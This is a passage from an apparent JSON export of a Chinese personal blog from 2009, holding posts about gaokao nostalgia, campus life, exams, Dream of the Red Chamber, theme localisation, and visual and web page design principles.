去年的今天，我还很快乐地和同学们一起躲在课桌下听儿童广播电台，只是今年的今天，却再也找不到当初的那种感觉；去年的今天，我和他们谈笑风生，相互畅谈着自己的人生理想，只是今年的今天，他们又要再赴战场；去年的今天，我和他们一起去庆祝儿童节，只是今年的今天，陪着我的又是其他人。\n又是一年一度的高考，犹记得去年的这个时候，我还很专注的坐在考场上答着试卷，开心的与同学们开着玩笑。一切仿佛又回到了那个时候，那时，天还是那么的蓝，路还是那么的遥远，心情依旧还是那么的晴朗\u0026hellip;\u0026hellip;不知道他们现在的心情是怎么样的，应该不会紧张吧？他们的心理素质一向都很好的。今天是六一，明天是她的生日，很奇迹地是她打电话过来了，我让她好好考，考完补上来。电话里的欢声笑语让我很难过，她现在一定还是比较担心的吧。曾经的年少轻狂都已经不复存在，不管是再经历了一个高三，还是一个大学，我们都已经长大了。\n晚上的时候大伙突然临时决定出去啃东西去，理由居然是雷人的庆祝六一。在外面吃着烧烤，我又想到了他们，若是以前，我们现在一定也在外面吃着东西，仰望着无星的天空，哈哈大笑。一边吃着一边开着玩笑，这样的日子确实是很美，我是一个容易怀旧的人，这样幸福的场面让我回想起了以前的许许多多。不知不觉间，已经很晚了，我们撤离烧烤店，我迈着欢快的步伐向寝室方向走去。不管是谁，都要经过磨练，或许他们经历了这一次后能够更进一步了。\n只是轻狂年少时，过往繁华如流水，曾经往事幕幕现，待到黑发变白发。\n[谨以此文献给我那些正在高考前线努力的同学们。革命尚未成功，同志仍需努力啊！]\n\u0026nbsp;\n\u0026nbsp;\n","count":670,"date":"2009年06月03日","featuredImage":null,"permalink":"https://imnerd.org/june-juvenile.html","summary":"\u003cp\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e\u003cspan style=\"font-size: 16px\"\u003e　　去年的今天，我还很快乐地和同学们一起躲在课桌下听儿童广播电台，只是今年的今天，却再也找不到当初的那种感觉；去年的今天，我和他们谈笑风生，相互畅谈着自己的人生理想，只是今年的今天，他们又要再赴战场；去年的今天，我和他们一起去庆祝儿童节，只是今年的今天，陪着我的又是其他人。\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"六月的少年"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" [READERWALL-YEAR] ","count":1,"date":"2009年06月02日","featuredImage":null,"permalink":"https://imnerd.org/link.html","summary":"\u003cembed width=\"100%\" height=\"100%\" name=\"plugin\" src=\"https://imnerd.org/wp-content/uploads/material/link.swf\" type=\"application/x-shockwave-flash\"/\u003e\n[READERWALL-YEAR]","time":1,"title":"友链"},{"comments":{"data":[18],"errmsg":"","errno":0},"contents":"　端午，本来以为会在网络中度过的，我都在幻想我那孤独寂寞的背影，一个人靠在墙上功能，看着窗外的风景，寂寥无人的房间......想着都会使我潸然泪下的场景，唉！没想到阿姨打电话来叫我去她家吃饭，本来不去的，但还是去了。在那里也没吃什么东西，毕竟不是自己家里，不敢放纵嘛，不过去了之后的另外一个结果就是过了个六一儿童节，相当的雷人啊！昨天和今天两天晚上都是在阿姨家的，我应经快要疯掉了。\n比较开心的是今天见到了传说中的小曼学姐了，其实还是不错的，就是跟自己想象中的有极大的反差了而已。性格属于开朗型的吧，现在的女孩子大部分都是这个样子的拉，嘿嘿。跟她谈了好多，有论坛上的事情，还有生活上的事情，总之是谈天说地的。从本部溜到南区，从南区溜到本部，又从本部溜到了公园，就这样在这方圆几里的小地方内走来走去。还有剑兄啊，对，小曼学姐后来又call剑过来了，来的时候还是睡眼惺忪的，满脸带着睡意。从谈话中得知，也是比较牛叉的人物啊！嘿嘿，今天的一切费用都由他包了，带我们到小东方吃了一顿，虽然说小东方今天摆架子菜做的不好，但还是很佩服他呀，像我在这里这么多年了，还不知道哪家店好哪家店不好呢！还有浩忍童鞋吧，下午终于见着他的庐山真面目了，跟上午小蔓姐介绍的完全不一样么！他是来考试的，专升本的考试。他的人生也是非常的坎坷的，涉于隐私，在这里不便细说，反正我当时是听的目瞪口呆，以为这样的人生我只能在电视上看到而已，没想到现在离我那么的近。陪着他吃饭，看考场，拿准考证，悄悄的感受了一下毕业的滋味，其实不大好受啊，都在谈论着工作。那个剑也真是的，中午借口寄函件就逃了，跑小蔓姐那里玩去了，郁闷！\n不错不错，其实感觉在论坛混混也蛮好的吧。认识了许多人，看清了许多事，只是今天剑跟我灌输的许多我一时还不能理解，亦或是说一时不能接受吧！嘿嘿。\n","count":758,"date":"2009年05月29日","featuredImage":null,"permalink":"https://imnerd.org/happy-life-dragon-boat-festival.html","summary":"\u003cp\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e\u003cspan style=\"font-size: 16px\"\u003e　　端午，本来以为会在网络中度过的，我都在幻想我那孤独寂寞的背影，一个人靠在墙上功能，看着窗外的风景，寂寥无人的房间......想着都会使我潸然泪下的场景，唉！没想到阿姨打电话来叫我去她家吃饭，本来不去的，但还是去了。在那里也没吃什么东西，毕竟不是自己家里，不敢放纵嘛，不过去了之后的另外一个结果就是过了个六一儿童节，相当的雷人啊！昨天和今天两天晚上都是在阿姨家的，我应经快要疯掉了。\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"端午节的快乐生活"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"","count":0,"date":"2009年05月28日","featuredImage":null,"permalink":"https://imnerd.org/daily.html","summary":"","time":0,"title":"日志"},{"comments":{"data":[15],"errmsg":"","errno":0},"contents":"中南财经政法大学广播台第九届声之韵晚会，强大的视频剪辑《燃烧吧，双学位》配音版。\n由视频原版和晚会录像声音剪辑完成。\n《校庆总动员》原班人马，加入新鲜血液，华丽丽打造~\nPS：相当强大的视频啊！\n\u0026nbsp;\n","count":95,"date":"2009年05月28日","featuredImage":null,"permalink":"https://imnerd.org/burning-it-double-degree.html","summary":"\u003cp\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e\u003cspan style=\"font-size: 16px\"\u003e中南财经政法大学广播台第九届声之韵晚会，强大的视频剪辑《燃烧吧，双学位》配音版。\u003cbr /\u003e\n由视频原版和晚会录像声音剪辑完成。\u003cbr /\u003e\n《校庆总动员》原班人马，加入新鲜血液，华丽丽打造~\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":1,"title":"燃烧吧，双学位"},{"comments":{"data":[18],"errmsg":"","errno":0},"contents":"　嘿咻，终于考完了口语了，相当的轻松啊！当然肯定是考完了轻松拉，就我那水平，我是不想着轻松过口语的拉，呵呵。不过确实是紧张了点，平常滚瓜烂熟的课文到那时居然有点结巴，无语了。想我征战考场多年也难出现这种事情啊，郁闷！\n前天晚上考的工程制图似乎没我们想象的那么恐怖，有练习册上的题目，而且还是简化版的，让我们心里舒坦多了。嘿嘿。\n昨晚也考试的，考的是VB，那考试，对我来说肯定是小菜一碟的拉，不过对于我旁边的几个，那可真是天降大任来了呀。下面晒晒我后面那位仁兄跟我们监考大人的对话：\u0026nbsp;\n\u0026nbsp;J:还不是！告诉你，我就是这个专业毕业的！(边说边带着一股邪恶的笑)\n\u0026nbsp;L:不是，老师，我是XX的。[XX代指另外一个专业与上面的不一样。]\n\u0026nbsp;J:哪个专业，你不就是XXXX的嘛！[XXXX代指我们的专业]\n\u0026nbsp;L:老师你知道我是那个专业的波？\n\u0026nbsp;J:你不告诉我我不会自己去查呀，到时查到了你就完了。\n\u0026nbsp;L:我不告诉你可以波？\n\u0026nbsp;J:是那个老师教你呀？\n\u0026nbsp;J:你叫什么名字哦？（手已经去拿他的饭卡了）[我们这里考试是用饭卡的，饭卡上有头像。]\n\u0026nbsp;L:听不懂呀。\n\u0026nbsp;J:那你上课听了没有啊？\n\u0026nbsp;L:有啊，当然有啊！\nJ:你以前有没有去上课啊？！\n不知道大家看到了是什么样的感觉，反正我是笑掉大牙了。无语，相当的无语，汗，暴汗啊！\n\u0026nbsp;\n","count":600,"date":"2009年05月24日","featuredImage":null,"permalink":"https://imnerd.org/quiz-about.html","summary":"\u003cp\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e\u003cspan style=\"color: rgb(102,153,0)\"\u003e　　嘿咻，终于考完了口语了，相当的轻松啊！当然肯定是考完了轻松拉，就我那水平，我是不想着轻松过口语的拉，呵呵。不过确实是紧张了点，平常滚瓜烂熟的课文到那时居然有点结巴，无语了。想我征战考场多年也难出现这种事情啊，郁闷！\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"小考一下"},{"comments":{"data":[13],"errmsg":"","errno":0},"contents":"\u0026nbsp;　十年寒窗苦读，只待今朝；一场浴血奋战，身心俱惫。\u0026nbsp;\n人生就像是一场场残酷无情的比赛，每一个关卡都会有许多人止步。而我，只是一个侥幸者。亲眼看着那些曾经和我一起并肩作战的朋友们一个个的倒下，我的眼眶内噙着泪水，却怎么也哭不出来。\u0026nbsp;\n高中的生活是懵懂的，我们永远是在书本中寻找着快乐，习题中追逐着欢笑。现在回想起来，曾经的快乐，曾经的伤悲，曾经的疯狂都是那么的生活，那么的温馨。但梦醒时分，却只能感慨：此情可待成追忆，只是当时已惘然。\u0026nbsp;\n最终，我还是挥手与他们告别，奔进了这象牙之塔。\u0026nbsp;\n一纸录取通知，功成名就；两脚踏入校园，任重道远。\u0026nbsp;\n大学，多么庄严神圣的一个词呀！如今真的到了这儿，往日的崇拜更是有增无减。大学里的一草一木，在我的眼里都是那么地鲜活。大学的教室、老师、同学都深深的吸引着我。最令我不能忘怀的还是大学里那阵阵的书香味了。这种味道夹杂在空气中，飘逸在校园的每一个角落。味道最浓的当数教室、图书馆以及教学楼旁的那条小道了。教室自然不必我说些什么。每天忙碌的奔走于各个教室的学生，让大学的土地上多了些许生气。图书馆是我最爱的地方，没事的时候，我会挑上一两本书，拣个靠窗的位置，坐下来细细品尝这书的清香。与我有同样嗜好的人也不在少数。看着他们专心致志地看着手中的书，我感到非常的满足。至于教学楼旁的小道，占着先天的优势，枯藤、老树，流水、人家样样具备，深得广大晨读同胞们的喜爱。每天早上，你都可以看到那里熙熙攘攘地或站或坐着许多人，听到那里传来连绵不绝的朗朗读书声。他们读的是那么的全神贯注，那么的激情，以致于你不忍心从他们身边经过。啊！我已经完全陶醉在这浓的化不开的书香之中了。\u0026nbsp;\n然而就是在这样一个我喜爱的地方，我迷失了。\u0026nbsp;\n在这里，我有了比在高中时还要多几倍的空暇时间，却失去了高中时的紧凑感，以及紧凑感身后的快乐与欢笑。老师说这是处在大学迷茫期的表现，大一会感到很迷茫，大二就会清醒点，大三就会适应。我当时就在那里想：大一大二都给你迷茫了，那么大学还有几年时间给你不迷茫呢？果然他们去参加协会这样的东西还是有好处的啊！但我真正的恐惧的不是空虚的生活，而是那皮笑肉不笑的无奈。在这里，我所说的每一句话都要考虑它是否会给某些人带来伤害，稍不小心，就会有刺冷的目光从八方射来。人际，可真是朵难把握的玫瑰呀！面对着他人的冷嘲热讽，却只能。这不由的使我想到了一个故事：\u0026nbsp;\n一位智者制作了三尊外形体积重量都相同的金人，让他的学生判别孰轻孰重。学生拿着这些金人，观察了良久，终于发现了端倪，嘴角一扬。只见他拿来三根狗尾巴草，分别伸进金人的耳朵里面。奇怪的是第一尊的狗尾巴草从另外一只耳朵出来，第二尊从嘴巴里出来，第三尊没能伸出，一直伸向肚子里。学生又琢磨了一会儿，向智者说：\u0026ldquo;老师，我明白了！第三尊是最重的。\u0026ldquo;智者面露喜色道：\u0026rdquo;哦？为什么\u0026rdquo;\u0026ldquo;每一尊都是代表一种态度。第一尊是说他对你的话是左耳进右耳出，第二尊是从嘴巴里面出来，代表这个人不牢靠，总会将你的话给泄露出去，而第三尊是说对你的话他会在意，但只是自己往肚子里藏，绝对不会跟外人讲。\u0026rdquo;学生从容不迫的讲到。智者点头默许。\u0026nbsp;\n联想到这个故事，我不禁感慨：似乎大学就是要把我们训练成那第三尊金人吧？天天要披着张假皮，讲那些老是加工了的话，还真是有点像呢！我很累，真的不想再这样下去了。但是我也知道，如果将这张假皮褪下，我在社会将很难有立足之地。所以，尽管累，尽管心不甘情不愿，我还是继续着我的扮演生涯。呵呵，这真是对自己的莫大讽刺，不是吗？\u0026nbsp;\n晚上看书的时候，无意间读到李煜的那首《乌夜啼》：\u0026nbsp;\n林花谢了春红，\u0026nbsp;\n太匆匆，\u0026nbsp;\n无奈朝来寒雨晚来风。\u0026nbsp;\n胭脂泪，\u0026nbsp;\n相留醉，\u0026nbsp;\n几时重，\u0026nbsp;\n自是人生长恨水长东。\u0026nbsp;\n合上书后，最后一句还是一直回绕在我的耳中，久久不能忘怀。\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n","count":1679,"date":"2009年05月22日","featuredImage":null,"permalink":"https://imnerd.org/my-college.html","summary":"\u003cp\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u0026nbsp;　　十年寒窗苦读，只待今朝；一场浴血奋战，身心俱惫。\u0026nbsp;\u003cbr /\u003e\r\n　　人生就像是一场场残酷无情的比赛，每一个关卡都会有许多人止步。而我，只是一个侥幸者。亲眼看着那些曾经和我一起并肩作战的朋友们一个个的倒下，我的眼眶内噙着泪水，却怎么也哭不出来。\u0026nbsp;\u003cbr /\u003e\r\n　　高中的生活是懵懂的，我们永远是在书本中寻找着快乐，习题中追逐着欢笑。现在回想起来，曾经的快乐，曾经的伤悲，曾经的疯狂都是那么的生活，那么的温馨。但梦醒时分，却只能感慨：此情可待成追忆，只是当时已惘然。\u003c!-- m o r e --\u003e\u0026nbsp;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":4,"title":"我的大学"},{"comments":{"data":[11],"errmsg":"","errno":0},"contents":"　花谢花飞，人生本就是一本小说，一本充满着传奇色彩的小说。只是我们更喜欢的是别人的故事，而不是自己的百无聊赖。 －－题记 我不喜欢像红学那样探究红楼梦的创作背景，那样使它显得太真实；也不赞同仅仅是用欣赏它那华丽的辞藻的眼光去看待它，那样就太缺乏情调了。执着的我只是痴迷于红楼里面的风雅之事，仅此而已。品味着它的故事，就好像自己已经身置大观园中，体验着才子佳人式的人生百态。从黛玉母亡入贾府，到林黛玉感时葬花，最后是林妹妹香魂消散，还有众姐妹诗社赛诗，更是有宝玉几度疯癫几度痴。伴随着故事的发展，我或而开怀大笑，或而哀叹惋惜，又或而心七上八下扑通扑通的跳，又或而顾之一笑，更或而怒目三分。感觉上就像是它在操控着我的感情路线似的，想直就直，想拐就拐。犹记得看到林妹妹含怨而终的时候，一边想象着当时的场景的我竟真的不知不觉就落下了眼泪了呢！ 要说到喜欢的人物吧，我觉得我最喜欢的并不是红楼的主人公贾宝玉，而是出场次数不多的北静王。我本身是喜欢那种比较有气质的人。北静王形容秀美，情性谦和，温文尔雅，更是我心中的偶像。这样的他即使是出场次数不多，也丝毫不逊于宝玉半分。曾经在书店看到一本书评上说北静王其实是贾宝玉的另外一个翻版，然后后面举出老长的历史资料出来。虽然后面我没有看，但是作者的观点我还是挺中意的。印象比较深刻的一场是北静王送鹡鸰香念珠给宝玉。“今日初会，伧促竟无敬贺之物，此系前日圣上亲赐鹡鸰香念珠一串，权为贺敬之礼。”这是当时北静王说的话，一想起北静王说话时的那种音容笑貌，我的心总是有种甜丝丝的感觉用上来，莫名的。 红楼梦，人类史上的一次鸿篇巨制，描写的场面如此之巨大，描写的人物是如此之多，这在人类历史上真实非常罕见的作品呢！想要领略红楼的风采，唯有和我一样，亲身踏进大观园的世界，才能饱览红楼博大精深的精神世界。\n其实很早就听说过《红楼梦》了。当时只是觉得它一没有《西游记》的妖魔鬼怪，二没有《水浒传》的打打杀杀，三没有《三国演义》的磅礴气势，有的只是无聊的琐事，以及儿女的情长，这样的东西看着－头疼。随着年龄的增长，红楼的大名更是经常在我耳畔环绕。以后的我，对红楼的态度就有了质的改变，从不屑于竟转变到了不敢去读的态度。那是的我总是这样想的：这么一本意境悠远的著作怎么是我这种尘宇所能读懂的呢？至此以后，红楼这个名字似乎被我封印起来一样，久久都没有闯入我的心扉。\n就这样平平淡淡的到了高三，一次的语文课让那尘封依旧的三个字破印而出，是我浮想了许久许久。我还记得那次的课文讲的是黛玉初进贾府。林妹妹的“小心翼翼”与曹先生优美的辞藻终于使我鼓起了勇气敲开了红门的铜门，让我一览无余的评委了一番大观园的世界。也是在那疯狂的一年，我与红楼结下了这不解之缘！\n我不喜欢像红学那样探究红楼梦的创作背景，那样使它显得太真实；也不赞同仅仅是用欣赏它那华丽的辞藻的眼光去看待它，那样就太缺乏情调了。执着的我只是痴迷于红楼里面的风雅之事，仅此而已。品味着它的故事，就好像自己已经身置大观园中，体验着才子佳人式的人生百态。从黛玉母亡入贾府，到林黛玉感时葬花，最后是林妹妹香魂消散，还有众姐妹诗社赛诗，更是有宝玉几度疯癫几度痴。伴随着故事的发展，我或而开怀大笑，或而哀叹惋惜，又或而心七上八下扑通扑通的跳，又或而顾之一笑，更或而怒目三分。感觉上就像是它在操控着我的感情路线似的，想直就直，想拐就拐。犹记得看到林妹妹含怨而终的时候，一边想象着当时的场景的我竟真的不知不觉就落下了眼泪了呢！\n要说到喜欢的人物吧，我觉得我最喜欢的并不是红楼的主人公贾宝玉，而是出场次数不多的北静王。我本身是喜欢那种比较有气质的人。北静王形容秀美，情性谦和，温文尔雅，更是我心中的偶像。这样的他即使是出场次数不多，也丝毫不逊于宝玉半分。曾经在书店看到一本书评上说北静王其实是贾宝玉的另外一个翻版，然后后面举出老长的历史资料出来。虽然后面我没有看，但是作者的观点我还是挺中意的。印象比较深刻的一场是北静王送鹡鸰香念珠给宝玉。“今日初会，伧促竟无敬贺之物，此系前日圣上亲赐鹡鸰香念珠一串，权为贺敬之礼。”这是当时北静王说的话，一想起北静王说话时的那种音容笑貌，我的心总是有种甜丝丝的感觉用上来，莫名的。\n红楼梦，人类史上的一次鸿篇巨制，描写的场面如此之巨大，描写的人物是如此之多，这在人类历史上真实非常罕见的作品呢！想要领略红楼的风采，唯有和我一样，亲身踏进大观园的世界，才能饱览红楼博大精深的精神世界。\n","count":1823,"date":"2009年05月21日","featuredImage":null,"permalink":"https://imnerd.org/that-year-bloom.html","summary":"\u003cp\u003e\u003cspan style=\"color: #333399\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"font-size: 14px\"\u003e　　花谢花飞，人生本就是一本小说，一本充满着传奇色彩的小说。只是我们更喜欢的是别人的故事，而不是自己的百无聊赖。 　　　－－题记\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan style=\"color: #333399\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"font-size: 14px\"\u003e　 \u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan style=\"color: #333399\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"font-size: 14px\"\u003e　　我不喜欢像红学那样探究红楼梦的创作背景，那样使它显得太真实；也不赞同仅仅是用欣赏它那华丽的辞藻的眼光去看待它，那样就太缺乏情调了。执着的我只是痴迷于红楼里面的风雅之事，仅此而已。品味着它的故事，就好像自己已经身置大观园中，体验着才子佳人式的人生百态。从黛玉母亡入贾府，到林黛玉感时葬花，最后是林妹妹香魂消散，还有众姐妹诗社赛诗，更是有宝玉几度疯癫几度痴。伴随着故事的发展，我或而开怀大笑，或而哀叹惋惜，又或而心七上八下扑通扑通的跳，又或而顾之一笑，更或而怒目三分。感觉上就像是它在操控着我的感情路线似的，想直就直，想拐就拐。犹记得看到林妹妹含怨而终的时候，一边想象着当时的场景的我竟真的不知不觉就落下了眼泪了呢！\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan style=\"color: #333399\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"font-size: 14px\"\u003e　　　要说到喜欢的人物吧，我觉得我最喜欢的并不是红楼的主人公贾宝玉，而是出场次数不多的北静王。我本身是喜欢那种比较有气质的人。北静王形容秀美，情性谦和，温文尔雅，更是我心中的偶像。这样的他即使是出场次数不多，也丝毫不逊于宝玉半分。曾经在书店看到一本书评上说北静王其实是贾宝玉的另外一个翻版，然后后面举出老长的历史资料出来。虽然后面我没有看，但是作者的观点我还是挺中意的。印象比较深刻的一场是北静王送鹡鸰香念珠给宝玉。“今日初会，伧促竟无敬贺之物，此系前日圣上亲赐鹡鸰香念珠一串，权为贺敬之礼。”这是当时北静王说的话，一想起北静王说话时的那种音容笑貌，我的心总是有种甜丝丝的感觉用上来，莫名的。\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan style=\"color: #333399\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"font-size: 14px\"\u003e　　　红楼梦，人类史上的一次鸿篇巨制，描写的场面如此之巨大，描写的人物是如此之多，这在人类历史上真实非常罕见的作品呢！想要领略红楼的风采，唯有和我一样，亲身踏进大观园的世界，才能饱览红楼博大精深的精神世界。\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":4,"title":"那年花开"},{"comments":{"data":[5],"errmsg":"","errno":0},"contents":"　我发现WP换主题好像不是那么简单的事情啊，于是决定就用现在的这个主题了。今天花了一天的时间来汉化这个主题，因为有朋友说我的博客怎么全是英文啊，看不懂哦！汗！在这里我要感谢安的帮忙，感谢他细心的教我哪里应该怎么改，安真是个好孩子呢！汉化主题完毕，插件也搞得差不多了，下面就是充实内容了，以后我会尽量将我的院落撑的饱饱的，请大家拭目以待吧！ 附上：如果大家发现主题还有哪里没有汉化到位，请留言指出，谢谢大家对怡红院落的支持！公子无以为报，只能送上我珍贵的1个IP报答大家！谢谢[鼓掌、鲜花！]\n\u0026nbsp;\n\u0026nbsp;\n","count":245,"date":"2009年05月21日","featuredImage":null,"permalink":"https://imnerd.org/blog-finished-finished.html","summary":"\u003cp\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e　　我发现WP换主题好像不是那么简单的事情啊，于是决定就用现在的这个主题了。今天花了一天的时间来汉化这个主题，因为有朋友说我的博客怎么全是英文啊，看不懂哦！汗！在这里我要感谢安的帮忙，感谢他细心的教我哪里应该怎么改，安真是个好孩子呢！汉化主题完毕，插件也搞得差不多了，下面就是充实内容了，以后我会尽量将我的院落撑的饱饱的，请大家拭目以待吧！ 附上：如果大家发现主题还有哪里没有汉化到位，请留言指出，谢谢大家对怡红院落的支持！公子无以为报，只能送上我珍贵的1个IP报答大家！谢谢[鼓掌、鲜花！]\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":1,"title":"博客汉化完毕！"},{"comments":{"data":[8],"errmsg":"","errno":0},"contents":"　视觉设计的形式如何才是美的？从哪些角度欣赏它的美感？如何创造美感？视觉设计的形式美感，一是作品呈现的美，一是观赏者对美的感知。它需为心灵所把握，还要经过美感的训练。和谐一向被认为是美的基本特征，也是最高形式。和谐的画面美感具体有下面若干形式法则：\n（一）多样性的统一和谐包括\u0026quot;多样化\u0026quot;与\u0026quot;统一性\u0026quot;两个对立面，在完整的构成里，它们总是共存的。没有什么事物可以没有多样性，也没有什么事物是完全一样的。基于这样的认识，人类创造美的活动中，总是在尽可能多样中寻求统一。使单调的丰富起来，使复杂的一致起来，在多样性与统一这个永不平衡的天平上反复称量，使这个天平不致完全倒向一方。举一个例子：一个孩子把石子丢进水里，惊讶地发现层层扩散的水波是很美的。在平静、均质的水里，同心圆的逐层扩大的确是和谐的。圆的相似和半径的渐大以对立统一的形式共存在一个形式里。 （二）统一的多样性统一的多样性的核心就是调和与对比。调和。黑格尔把调和称为\u0026quot;整齐一律\u0026quot;。他说：\u0026quot;整齐一律一般是外表的一致性，说得更明确一点，是同一形状的一致的重复，这种重复对于对象的形式就成为起赋予定性作用的统一。例如在线条中，直线是最整齐一律的，因为它始终只朝一个方向走。对比。对比意识在现代设计中常常是比较强烈的，以至越过了传统的美与丑的分界线。黑格尔提出的形式美的三个层级，对称平衡、符合规律、和谐，也基本上是不同程度的调和。而现代设计为了与大量几何造形互补，在某些领域(特别是装饰美术)里追求不对称、不平衡和粗犷强烈的对比。例如服装设计中曾出现\u0026quot;乞丐服\u0026quot;。\n（三）对称和平衡美国的托伯特?哈姆林在《20世纪建筑的功能与形式》中说：\u0026quot;在视觉艺术中，均衡是任何欣赏对象中都存在的特征，在这里，均衡中心两边的视觉趣味中心，分量是相当的\u0026quot;。值得注意的是，他所说的\u0026quot;分量相当\u0026quot;而不是\u0026quot;分量相等\u0026quot;，因此，均衡中心两边的分量可能相等，也可能是相近。这样，就可以按\u0026quot;等量\u0026quot;和\u0026quot;近量\u0026quot;来区分不同的均衡。对称对于规则均衡(对称)的组合，人的视觉经过反复扫描，当确认两边相同的形状为\u0026quot;多余\u0026quot;以后，视线会停留在中心以求得安定。托伯特?哈姆林根据这一原理提出突出中心的原则，并举了许多建筑的实例。其中最典型的巴黎圣母院，为了加强中心的强度，所以设计了中间的圆窗。平衡平衡又称\u0026quot;动态对称\u0026quot;，平衡是不规则均衡以杠杆平衡为原理，中心(支点)两边份量仅仅是相近，而不可能完全相同。特别是支点已不可能在正中，而是偏向一侧，所以被称为\u0026quot;动态对称\u0026quot;。那种袒露一个肩的晚礼服和我国藏袍的袒臂穿用法，都属于动态对称。不规则均衡的原理虽然清楚，但却无法象左右对称那样作定量的设计。所以，这种平衡的把握需要更多的经验。中国的太极图就是以典型的实例。\n（四）比例和尺度比例和尺度都是和数相关的规律，在造型和构图上是必然涉及到的问题。比例按说比例应该是严格的数学概念，但是，在具体的设计中究竟什么样的比例才是真正美的比例，却没有一个国际化的、永恒不变的公式。相对而言，有三种比例在实践中证明是可以取悦于人的。 1等差数列比--指一件设计中的各个线段的长度以及面的分割，都与一个基本数字有关系，递增或递减，它们之间的茶室相等的。如渐变图形即是这样的例子。 2黄金比又称黄金分割。 3模度系统--比较简便的模度系统设计是\u0026quot;网格法\u0026quot;，也就是在几何形网格中，通过制图取得各种线段，那样，几何网格的模度就可以控制全部线段的尺度，而找到取悦于人的比例。尺度尺度在构成中指整体的尺度恰当；整体与局部、局部与局部的尺度关系恰当。如果一个孩子戴着过大的帽子、宽阔的广场建立过小的纪念碑，都是尺度不当的体现。\n\u0026nbsp;\n\u0026nbsp;\n","count":1624,"date":"2009年05月19日","featuredImage":null,"permalink":"https://imnerd.org/how-is-the-beauty-of-visual-design.html","summary":"\u003cp\u003e\u003cspan style=\"color: #669900\"\u003e\u003cspan style=\"font-size: 16px\"\u003e\u003cspan style=\"font-family: 黑体\"\u003e　　视觉设计的形式如何才是美的？从哪些角度欣赏它的美感？如何创造美感？视觉设计的形式美感，一是作品呈现的美，一是观赏者对美的感知。它需为心灵所把握，还要经过美感的训练。和谐一向被认为是美的基本特征，也是最高形式。和谐的画面美感具体有下面若干形式法则：\u003c!-- m o r e --\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":4,"title":"视觉设计如何才是美的"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"网页把各种信息以最快捷、方便的方式传达给受众。人们对美的追求是不断深入的，网页设计同样如此。网页不光是把各种东西放上去，能看就行，这是远远不够的！要考虑如何受众能更多的和更有效率的接收网页上的信息，从而使他们对给网站留下很好的印象，那就更能促进自己网站的运作。在这种标准的要求下，逐步产生了审美的需求。这需要从审美的方面入手，结合使用方便的要求，就能制作出清晰、整体性好的页面。使人浏览起来心情愉快，接收信息也会更加容易。同时提升网站的形象。\n主页的设计主要是网页设计软件的操作与技术应用的问题。但是，要使主页设计、制作得漂亮，必然离不开对主页进行艺术的加工和处理，这就要涉及到美术的一些基本常识。本文将介绍一些主页设计中经常涉及到的艺术处理原则，供各位在进行主页制作的时候参考。\n一、风格定位 : 主页的美化首先要考虑风格的定位。任何主页都要根据主题的内容决定其风格与形式，因为只有形式与内容的完美统一，才能达到理想的宣传效果。目前主页的应用范围日益扩大，几乎包括了所有的行业，林林总总，包罗万象，但归纳起来大体有这么几个大类：新闻机构、政府机关、科教文化、娱乐艺术、电子商务、网络中心等。对于不同性质的行业，应体现出不同的主页风格，就像穿着打扮，应依不同的性别以及年龄层次而异一样。例如：政府部门的主页风格一般应比较庄重，而娱乐行业则可以活泼生动一些；文化教育部门的主页风格应该高雅大方，而商务主页则可以贴近民俗，使大众喜闻乐见。\n主页风格的形成主要依赖于主页的版式设计，依赖于页面的色调处理，还有图片与文字的组合形式等。这些问题看似简单，但往往需要主页的设计和制作者具有一定的美术素质和修养。 还有，动画效果也不宜在主页设计中滥用，特别是一些内容比较严肃的主页。主页毕竟主要依靠文字和图片来传播信息，它不是动画片，更不是电视或电影。至于在主页中适当链接一些影视作品，那是另外一回事。 二、网页布局： 网页的布局体现了一个网页的整体结构和气势。布局搭配好的网页，一瞬间就能吸引网友的眼球，而布局不好的网页，就算你的内容在怎么生动，我想网友看的也不是很开心的。对于版面的布局，有多种多样的技巧，它们能让你的版面显得更加的吸引人。这就要求你你做各种各样的尝试，或吸取前人的经验，来丰富自己的网页布局的技巧。比如：\n网页的白色背景太虚，则可以加些色快； 版面零散，可以用线条和符号串联； 左面文字过多，右面则可以插一张图片保持平衡； 表格太规矩，可以改用导角试试。 下面我们来看看我们经常用到的版面布局形式：\n1.\u0026quot;T\u0026quot;结构布局。所谓\u0026quot;T\u0026quot;结构。就是指页面顶部为横条网站标志+广告条，下方左面为主菜单， 